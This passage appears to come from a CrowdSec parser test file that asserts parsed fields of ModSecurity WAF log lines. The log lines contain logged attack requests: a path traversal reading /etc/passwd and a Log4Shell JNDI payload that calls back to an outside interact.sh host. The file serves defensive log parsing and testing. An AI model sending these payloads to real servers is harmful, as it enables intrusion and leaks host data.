\"OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION\"] [tag \"WASCTC/WASC-31\"] [tag \"OWASP_TOP_10/A1\"] [tag \"PCI/6.5.2\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "modsecurity" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"79\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 20)\"] [data \"\"] [severity \"2\"] [ver \"\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "modsecurity" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "2021/12/26 12:36:51 [error] 972#972: *18722 [client 161.97.102.240] ModSecurity: Access denied with code 403 (phase 2). Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' ) [file \"/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"80\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 370)\"] [data \"\"] [severity \"2\"] [ver \"OWASP_CRS/3.x.x\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"192.168.0.1\"] [uri \"/\"] [unique_id \"1640518611\"] [ref \"\"], client: 161.97.102.240, server: 42.42.42.42, request: \"GET /?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a} HTTP/1.1\", host: \"hostname.domain:443\", referrer: \"${jndi:ldap://${hostName}.referer.c72643ci97rd1ek9i7u0c8rf8iejf6fms.interact.sh}\"" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "modsecurity" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 6 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false len(results["s01-parse"]["crowdsecurity/modsecurity"]) == 6 results["s01-parse"]["crowdsecurity/modsecurity"][0].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["uniqueid"] == "163722446755.059797" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["accuracy"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruleid"] == "930100" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["target_fqdn"] == "foobar.com" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["loglevel"] == "info" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["pid"] == "86596" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["remote_addr"] == "82.64.145.141" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"29\"] [id \"930100\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruleseverity"] == "2" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag3"] == "attack-lfi" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["version"] == "OWASP_CRS/3.2.0" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["time"] == "2021/11/18 08:34:27" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["cid"] == "1083" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Rx' with parameter `(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' )" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["targethost"] == "10.0.1.61" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag4"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["maturity"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ref"] == "o8,4o14,4o20,4o26,4v4,40" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruleline"] == "29" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["tid"] == "86596" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["modsec_ruledata"] == "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["rule_id"] == "930100" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["source_ip"] == "82.64.145.141" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["modsec_message"] == "Path Traversal Attack (/../)" results["s01-parse"]["crowdsecurity/modsecurity"][1].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Rx' with parameter `(?:^|[\\\\/])\\.\\.(?:[\\\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' )" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["tid"] == "86596" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["loglevel"] == "info" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["pid"] == "86596" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruleseverity"] == "2" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["time"] == "2021/11/18 08:34:27" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["targethost"] == "10.0.1.61" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["version"] == "OWASP_CRS/3.2.0" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruleid"] == "930110" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruleline"] == "51" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["uniqueid"] == "163722446755.059797" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["accuracy"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?:^|[\\\\/])\\.\\.(?:[\\\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"51\"] [id \"930110\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["remote_addr"] == "82.64.145.141" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["maturity"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ref"] == "o8,4o14,4o20,4o26,4v4,40" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["cid"] == "1083" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["target_fqdn"] == "foobar.com" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["modsec_message"] == "Path Traversal Attack (/../)" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["modsec_ruledata"] == "Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["rule_id"] == "930110" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Meta["source_ip"] == "82.64.145.141" results["s01-parse"]["crowdsecurity/modsecurity"][2].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["modsecmessage"] == "Matched \"Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' )" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["maturity"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["pid"] == "86596" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruleline"] == "76" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag3"] == "attack-lfi" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["targethost"] == "10.0.1.61" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"76\"] [id \"930120\"] [rev \"\"] [msg \"OS File Access Attempt\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/FILE_INJECTION\"] [tag \"WASCTC/WASC-33\"] [tag \"OWASP_TOP_10/A4\"] [tag \"PCI/6.5.4\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag4"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["target_fqdn"] == "foobar.com" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ref"] == "o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/FILE_INJECTION" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["time"] == "2021/11/18 08:34:27" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["loglevel"] == "info" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["remote_addr"] == "82.64.145.141" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruleid"] == "930120" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruleseverity"] == "2" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag7"] == "OWASP_TOP_10/A4" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["uniqueid"] == "163722446755.059797" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["rulemessage"] == "OS File Access Attempt" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag6"] == "WASCTC/WASC-33" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["tid"] == "86596" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["version"] == "OWASP_CRS/3.2.0" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["accuracy"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["cid"] == "1083" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["ruletag8"] == "PCI/6.5.4" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["modsec_message"] == "OS File Access Attempt" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["modsec_ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["rule_id"] == "930120" results["s01-parse"]["crowdsecurity/modsecurity"][2].Evt.Meta["source_ip"] == "82.64.145.141" results["s01-parse"]["crowdsecurity/modsecurity"][3].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag6"] == "WASCTC/WASC-31" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag8"] == "PCI/6.5.2" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["pid"] == "86596" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag2"] == "platform-unix" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["tid"] == "86596" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruleid"] == "932160" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag1"] == "language-shell" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["target_fqdn"] == "foobar.com" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["uniqueid"] == "163722446755.059797" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["modsecmessage"] == "Matched \"Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' )" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruleseverity"] == "2" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["targethost"] == "10.0.1.61" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["time"] == "2021/11/18 08:34:27" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["accuracy"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["rulemessage"] == "Remote Command Execution: Unix Shell Code Found" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag3"] == "attack-rce" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag7"] == "OWASP_TOP_10/A1" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["cid"] == "1083" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf\"] [line \"488\"] [id \"932160\"] [rev \"\"] [msg \"Remote Command Execution: Unix Shell Code Found\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-shell\"] [tag \"platform-unix\"] [tag \"attack-rce\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION\"] [tag \"WASCTC/WASC-31\"] [tag \"OWASP_TOP_10/A1\"] [tag \"PCI/6.5.2\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["remote_addr"] == "82.64.145.141" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag4"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["loglevel"] == "info" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ref"] == "o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruleline"] == "488" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["version"] == "OWASP_CRS/3.2.0" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["maturity"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["modsec_message"] == "Remote Command Execution: Unix Shell Code Found" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["modsec_ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["rule_id"] == "932160" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["source_ip"] == "82.64.145.141" results["s01-parse"]["crowdsecurity/modsecurity"][3].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s01-parse"]["crowdsecurity/modsecurity"][4].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag3"] == "attack-generic" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["target_fqdn"] == "foobar.com" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["rulemessage"] == "Inbound Anomaly Score Exceeded (Total Score: 20)" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["pid"] == "86596" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["remote_addr"] == "82.64.145.141" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruleid"] == "949110" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"79\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 20)\"] [data \"\"] [severity \"2\"] [ver \"\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruleline"] == "79" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["loglevel"] == "info" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["maturity"] == "0" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["ruleseverity"] == "2" results["s01-parse"]["crowdsecurity/modsecurity"][4].Evt.Parsed["time"] == 